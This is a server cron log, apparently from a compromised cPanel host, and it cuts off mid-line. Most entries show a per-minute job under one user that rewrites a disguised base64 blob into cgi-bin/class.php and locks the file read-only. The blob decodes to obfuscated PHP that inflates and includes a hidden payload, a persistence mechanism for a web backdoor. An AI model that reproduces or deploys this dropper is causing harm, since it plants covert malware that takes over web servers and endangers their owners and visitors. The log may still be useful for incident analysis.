Nov 12 14:41:01 server CROND[18219]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:42:01 server CROND[19090]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 14:42:01 server CROND[19089]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:43:01 server CROND[19882]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:44:01 server CROND[20686]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:45:01 server CROND[21501]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 14:45:01 server CROND[21503]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 14:45:01 server CROND[21504]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:46:01 server CROND[22384]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:47:01 server CROND[23269]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:48:01 server CROND[24114]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:49:01 server CROND[24939]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:50:01 server CROND[25751]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 14:50:01 server CROND[25754]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:50:01 server CROND[25756]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 14:50:01 server CROND[25755]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 14:50:01 server CROND[25757]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 14:51:01 server CROND[26643]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:52:01 server CROND[27503]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:53:01 server CROND[28345]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:54:01 server CROND[29146]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 